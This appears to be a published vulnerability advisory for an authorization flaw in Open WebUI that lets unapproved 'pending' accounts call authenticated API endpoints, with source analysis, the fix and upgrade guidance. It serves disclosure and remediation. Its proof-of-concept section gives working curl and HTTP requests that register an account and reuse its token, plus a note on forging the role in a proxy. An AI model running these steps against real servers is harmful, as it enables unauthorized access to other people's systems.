CVE-2026-44567: Open WebUI: Open WebUI Improper Authorization Control

Published May 8, 2026
·
Updated

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation

---

Vulnerability Details

| # | Field | Value | |---|-------|-------| | 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. | | 2 | Date Submitted | June 11, 2024 | | 3 | Title | Open WebUI Improper Authorization Control | | 5 | Affected Vendor | Open WebUI | | 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) | | 7 | Affected Version(s) | 0.1.105 | | 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) | | 9 | Vector | HTTP web interface | | 10 | CWE | 285 Improper Authorization |

---

4. High-level Summary

There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.

---

11. Technical Analysis

The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.

Request

http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60

{ "name": "", "email": "badguy@korelogic.com", "password": "a" }

Response

http HTTP/1.1 200 OK ...

{ "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "badguy@korelogic.com", "name": "", "role": "pending", "profileimageurl": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "tokentype": "Bearer" }

An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.

Request

http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs

Response

http HTTP/1.1 200 OK ...

{ "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modifiedat": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parentmodel": "", "format": "gguf", "family": "llama", "families": ["llama"], "parametersize": "141B", "quantizationlevel": "Q40" }, "urls": [0] }, ... ] }

The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180>

As shown below, the login checks if urlidx is None and if so, call getallmdoels and assign the result to models after that the logic checks if app.state.MODELFILTERENABLED is true and if not, it returns the result. As MODELFILTERENABLED is not configured by default, the application will not attempt to further validate the user.

python @app.get("/api/tags") @app.get("/api/tags/{urlidx}") async def getollamatags( urlidx: Optional[int] = None, user=Depends(getcurrentuser) ): if urlidx == None: models = await getallmodels() if app.state.MODELFILTERENABLED: if user.role == "user": models["models"] = list( filter( lambda model: model["name"] in app.state.MODELFILTERLIST, models["models"], ) ) return models return models

This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.

The vulnerability is caused by a missing authorization check that occurs with user=Depends(getcurrentuser). The logic of that function is found here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97>

python def getcurrentuser( authtoken: HTTPAuthorizationCredentials = Depends(bearersecurity), ): # auth by api key if authtoken.credentials.startswith("sk-"): return getcurrentuserbyapikey(authtoken.credentials) # auth by jwt token data = decodetoken(authtoken.credentials) if data != None and "id" in data: user = Users.getuserbyid(data["id"]) if user is None: raise HTTPException( statuscode=status.HTTP401UNAUTHORIZED, detail=ERRORMESSAGES.INVALIDTOKEN, ) return user else: raise HTTPException( statuscode=status.HTTP401UNAUTHORIZED, detail=ERRORMESSAGES.UNAUTHORIZED, )

As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.

---

12. Proof-of-Concept

First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:

bash curl -s -X $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ $'https://openwebui.example.com/ollama/api/tags'

The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.

Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.

bash export JWT=$(curl -s -X POST \ -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \ -H 'Content-Type: application/json' \ --data '{"name":"","email":"badguy@korelogic.com","password":"a"}' \ 'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')

curl -v $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'https://openwebui.example.com/ollama/api/tags'

Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.

---

13. Mitigation Recommendation

The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116> for the correct function to use.

python def getverifieduser(user=Depends(getcurrentuser)): if user.role not in {"user", "admin"}: raise HTTPException( statuscode=status.HTTP401UNAUTHORIZED, detail=ERRORMESSAGES.ACCESSPROHIBITED, ) return user

Modify all authenticated endpoints to utilize getverifieduser() function instead of getcurrentuser().

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, the API does not properly validate that the user has an authorized user role of user. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. This vulnerability is fixed in 0.1.124.

— MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.1.123
0.1.124
openwebui Open WebUI<0.1.124

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.1.124
  2. Upgrade

    Upgrade Open WebUI to a version that resolves this vulnerability.

    Fixed in 0.1.124

Event History

May 8, 2026
Advisory Published
via GitHub·10:34 PM
Data Sourced
via GitHub·10:34 PM
DescriptionSeverityWeaknessAffected Software
May 15, 2026
CVE Published
via MITRE·08:59 PM
Data Sourced
via MITRE·08:59 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44567?

CVE-2026-44567 has been classified as a critical severity vulnerability due to its potential impact on unauthorized access.

2

What systems are affected by CVE-2026-44567?

CVE-2026-44567 affects the open-webui package versions up to and including 0.1.123.

3

How do I fix CVE-2026-44567?

To remediate CVE-2026-44567, upgrade the open-webui package to version 0.1.124 or later.

4

Who discovered CVE-2026-44567?

CVE-2026-44567 was discovered by Taylor Pennington of KoreLogic, Inc.

5

When was CVE-2026-44567 submitted?

CVE-2026-44567 was submitted on June 11, 2024.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203